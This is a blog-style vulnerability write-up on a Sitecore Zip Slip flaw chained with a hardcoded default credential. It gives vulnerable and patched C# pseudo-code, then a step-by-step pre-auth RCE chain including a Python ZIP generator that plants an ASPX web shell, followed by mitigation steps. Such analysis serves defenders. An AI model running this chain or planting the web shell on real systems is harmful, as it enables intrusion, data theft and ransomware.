Sitecore Zip Slip: When 'b' Stands for Backdoor and RCE

If you've spent any time in the corporate web development world, you know Sitecore. It's the beast of a CMS that powers massive enterprise sites, costing roughly the GDP of a small island nation to license and maintain. You expect a fortress. You expect rigorous security development lifecycles. You do not expect a vulnerability class from the 1990s combined with a password that looks like a typo.

Meet CVE-2025-34510. It's a Zip Slip vulnerability. Yes, the thing where you put ../../ in a filename inside a ZIP archive, and the server blindly extracts it outside the intended folder. It is arguably one of the most embarrassing bugs to find in modern software because it implies the developer simply forgot that file paths can be malicious.

But wait, it gets better. Usually, this upload endpoint is behind authentication. Safe, right? Not when the developers leave a hardcoded user named sitecore\ServicesAPI with the password b (yes, just the letter 'b') active in default installations. This turns a post-auth vulnerability into a pre-auth Remote Code Execution (RCE) party.

The vulnerability lives in the heart of Sitecore's content management interface, specifically within the uiUpload pipeline. This pipeline handles files uploaded via the Upload2.aspx endpoint, typically used by content editors to bulk upload media assets.

The logic flow looks something like this:

1. User POSTs a file to /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx.
2. The request includes a parameter Unzip=1.
3. The Save processor (Sitecore.Pipelines.Upload.Save) kicks in.
4. It sees the Unzip flag and passes the stream to a helper class, Sitecore.Shell.Applications.Dialogs.Upload.UploadPage2.

The flaw is a textbook lack of input sanitization. When the application iterates through the files inside the ZIP archive, it reads the ZipEntry.Name property. A malicious archive can contain a file named ../../../../inetpub/wwwroot/shell.aspx. The application takes the destination folder (usually a temp dir) and simply concatenates this malicious name.

Because the code fails to canonicalize the path (e.g., check Path.GetFullPath()) to ensure it stays within the target directory, the file system API happily resolves the .. sequences and writes the file to the web root. Game over.

Let's look at what this looks like in C# pseudo-code. This isn't the exact proprietary source, but it represents the logic flow identified by researchers.

The Vulnerable Logic

// The 'Save' processor logic
foreach (ZipEntry entry in zipFile)
{
    // DANGER: entry.Name is trusted user input
    string targetPath = Path.Combine(uploadFolder, entry.Name);
    
    // The application just writes to targetPath.
    // If entry.Name is "../../shell.aspx", targetPath becomes
    // "C:\inetpub\wwwroot\sitecore\upload\..\..\shell.aspx"
    // which resolves to "C:\inetpub\wwwroot\shell.aspx"
    
    using (FileStream stream = File.Create(targetPath))
    {
        // ... write data ...
    }
}

The Fix

The patch involves canonicalizing the path and checking if it starts with the intended directory. This is the standard mitigation for Zip Slip.

// The patched logic
foreach (ZipEntry entry in zipFile)
{
    string targetPath = Path.Combine(uploadFolder, entry.Name);
    string fullPath = Path.GetFullPath(targetPath);
    
    // Security Check: Does the resolved path still start with the upload folder?
    if (!fullPath.StartsWith(Path.GetFullPath(uploadFolder)))
    {
        throw new SecurityException("Zip Slip attempt detected!");
    }
    
    // Safe to write
    // ...
}

It is baffling that in 2025, frameworks still don't handle this automatically, or that developers miss this check during code review.

Now for the fun part. How do we turn this into a shell? If you are an outsider, you can't access /sitecore/shell/... because of IIS authorization rules. But remember the backdoor credential?

Here is the full kill chain:

1. Authentication (CVE-2025-34509): We send a POST request to /sitecore/admin/login.aspx. This endpoint is often less protected than the main shell login. We use the user sitecore\ServicesAPI and the password b. The server responds with an .AspNet.Cookies session cookie. We are now authenticated as a user who, while limited in the UI, has valid session access.

2. Bypass Access Controls: With our valid session cookie, IIS allows us to access /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx. The authorization rules see a valid ticket and let us through.

3. Weaponize the Archive: We create a python script to generate a malicious ZIP. We don't just want to drop a text file; we want a web shell.

   import zipfile
    
   z = zipfile.ZipFile('exploit.zip', 'w')
   # Traverse back to webroot and drop the shell
   z.writestr('../../../../../inetpub/wwwroot/sitecore/shell/pwn.aspx', '<%@ Page Language="C#" %> <% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["c"]); %>')
   z.close()

4. Delivery: We POST the exploit.zip to Upload2.aspx, ensuring we set Unzip=1 in the multipart form data.

5. Execution: We simply curl https://target.com/sitecore/shell/pwn.aspx?c=whoami. The server executes the ASPX file we just planted, and returns nt authority\system (or whatever the AppPool identity is).

This is a System-Ending Event. Sitecore usually runs with significant privileges on Windows Servers to handle file I/O, media processing, and database connections.

Consequences:

• Full RCE: The attacker can execute arbitrary commands on the Windows host.
• Data Exfiltration: Access to web.config means access to database connection strings (SQL Server). The attacker can dump the entire customer database, user credentials, and content.
• Lateral Movement: From the web server, the attacker can pivot to the internal network, attacking the SQL server or Domain Controller.
• Ransomware: Given the high privileges and write access, this is a prime vector for deploying ransomware, encrypting the entire web root and database backups.

The fact that this is exploitable via a hardcoded credential makes it scriptable. Expect automated scanners to pick this up immediately.

If you are running Sitecore XP, XM, or XC versions 9.x or 10.x, you are likely vulnerable.

Immediate Steps:

1. Apply the Hotpatch: Sitecore has released a cumulative hotpatch. Go to KB1003667 and install it yesterday.
2. Kill the Backdoor: Check your users for sitecore\ServicesAPI. If it exists, change the password to a 64-character random string or disable the account entirely. Do not ignore this step. Patching the Zip Slip fixes the file write, but leaving a known account active is suicidal.
3. WAF Rules: Configure your WAF to block requests to Upload2.aspx from external IPs, and inspect multipart/form-data for filenames containing ../ or ..\ sequences (though this can be tricky with encoding).
4. Restrict /admin: Ensure /sitecore/admin is not accessible from the public internet. This breaks the easy authentication path for the exploit chain.